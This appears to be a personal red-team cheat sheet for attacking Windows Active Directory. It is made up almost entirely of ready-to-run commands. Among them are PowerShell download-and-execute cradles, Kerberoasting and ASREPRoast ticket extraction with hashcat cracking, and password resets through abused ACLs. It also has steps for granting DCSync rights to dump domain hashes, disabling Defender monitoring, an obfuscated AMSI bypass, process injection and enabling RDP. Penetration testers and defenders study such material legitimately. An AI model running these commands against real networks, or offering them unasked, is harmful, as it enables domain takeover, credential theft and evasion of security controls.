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Active Directory attack

Domain Enumeration + Exploitation


Use the dev branch or PowerSploit. For an already incredible cheat sheet, check out HarmJ0y's.
IEX(New-Object Net.WebClient).downloadString('')

Get Domain Users

Get-NetUser * -Domain corp.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset, lastlogontimestamp,accountexpires,admincount,userprincipalname, serviceprincipalname, mail,useraccountcontrol | Export-CSV users.csv

Get Domain Computers

Get-NetComputer * -Domain corp.local | Select-Object -Property dnshostname,operatingsystem,operatingsystemservicepack,lastlogontimestamp | Export-CSV computers.csv

SPN Ticket Request

Get-DomainUser * -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv .\ticket.csv -NoTypeInformation

Enumerate User DACLs

PS C:\> Get-DomainObjectAcl -Identity it_admin -ResolveGUIDs ? { $_.SecurityIdentifier -Match $(ConvertTo-SID burmat) }
AceType : AccessAllowed
ObjectDN : CN=it_admin,CN=Users,DC=BURMAT,DC=CO
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-2736429227-4547413232-2815246478-1130
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2736429227-4547413232-2815246478-1107
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed

Reset Domain User Password

If you own the owner of another AD user object (WriteOwner, WriteDACL, GenericWrite, Owner, etc), you can reset the password with ease:
IEX(New-Object Net.WebClient).downloadString('')
$user = 'DOMAIN\owner_acct';
$pass= ConvertTo-SecureString 'Password123!' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'burmatw@sh3r3' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\vuln_user' -AccountPassword $newpass -Credential $creds;
Or if you can set yourself as owner, the following will do:
IEX(New-Object Net.WebClient).downloadString('')
Set-DomainObjectOwner -Identity it_admin -OwnerIdentity burmat
Add-DomainObjectAcl -TargetIdentity it_admin -PrincipalIdentity burmat
$newpass = ConvertTo-SecureString -String 'burmat123$' -AsPlainText -Force
Set-DomainUserPassword -Identity it_admin -AccountPassword $newpass

Add/Exploit DCSync Rights

Do you have WriteDACL to a domain? Give DCSync rights to an unprivileged domain user account:
Add-DomainObjectAcl -TargetIdentity "DC=burmatco,DC=local" -PrincipalIdentity useracct1 -Rights DCSync
And use these rights to dump the hashes from the domain:
meterpreter > dcsync_ntlm BURMATCO\\useracct1


Ingestor Launch

IEX(New-Object Net.WebClient).DownloadString('');
Invoke-BloodHound -CollectionMethod All -CompressData -SkipPing;


Below are some useful LDAP queries that will help you enumerate a system. Some of them require a valid username/password to get more information. My go-to for these queries is ldapsearch:
ldapsearch -LLL -x -H ldap://burmat.co -D "svc-burmat" -w "burmat123$" -b "dc=burmat,dc=co" "<LDAP QUERY HERE>"

ASREPRoast Accounts

## ldap filter to find accounts susceptible to this:
## generate a list of user accounts and use impacket to exploit:
python GetNPUsers.py -request -no-pass -dc-ip burmat.co/ -usersfile users.txt
## and if you get a ticket, you can crack it:
hashcat -m 18200 -a 0 --force user.hash /usr/share/wordlists/rockyou.txt

User Account Objects with SPNs

"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
## if you get valid domain credentials, you can dump them w/ impacket for offline cracking:
python GetUserSPNs.py -request burmat.co/svc-burmat:burmat123$

User and Computers with Unconstrained Delegation

# user:
"(&(&(objectCategory=person) (objectClass=user)) (userAccountControl:1.2.840.113556.1.4.803:=524288))"
# computer:
"(&(objectCategory=computer) (objectClass=computer) (userAccountControl:1.2.840.113556.1.4.803:=524288))"

Domain Administrators

"(&(objectClass=user) (memberof:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=burmat,DC=co))"

Group Policies



Checking Status

# is av enabled:
PS C:\> Get-MpComputerStatus
# applocker rules:
PS C:\> $a = Get-ApplockerPolicy -effective
PS C:\> $a.rulecollections
# constrained?:
PS C:\> $ExecutionContext.SessionState.LanguageMode

PowerShell Bypass with 32-bit

PowerShell disabled for you? Try running the 32-bit copy of it:
C:\windows\syswow64\windowspowershell\v1.0\powershell whoami

Writable Folders for Bypassing Execution Control

Try putting your payload in one of the following directories:

Turning Off Defender's RTM

PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus

AMSI Bypass

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

PROCESS ELEVATION (via SeDebugPrivilege)

If you run whoami /priv and you see SeDebugPrivilege set to Enabled, you can assume you already have SYSTEM.
One way of doing it, is using decoder's psgetsys.ps1 script once you have a good idea on a PID to inject:
. .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(7864,'C:\temp\burmat443.exe');
You can also gain a MSF session and use the module windows/manage/payload_inject with a PID of your choice.


Enable RDP

PS C:\> Set-itemproperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" -value 0
PS C:\> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\' -Name "UserAuthentication" -value 1
PS C:\> Enable-NetFirewallRule -DisplayGroup "Remote Desktop"


# list shared folders
PS> Get-WmiObject -Class Win32_Share -Computer dc1.burmat.co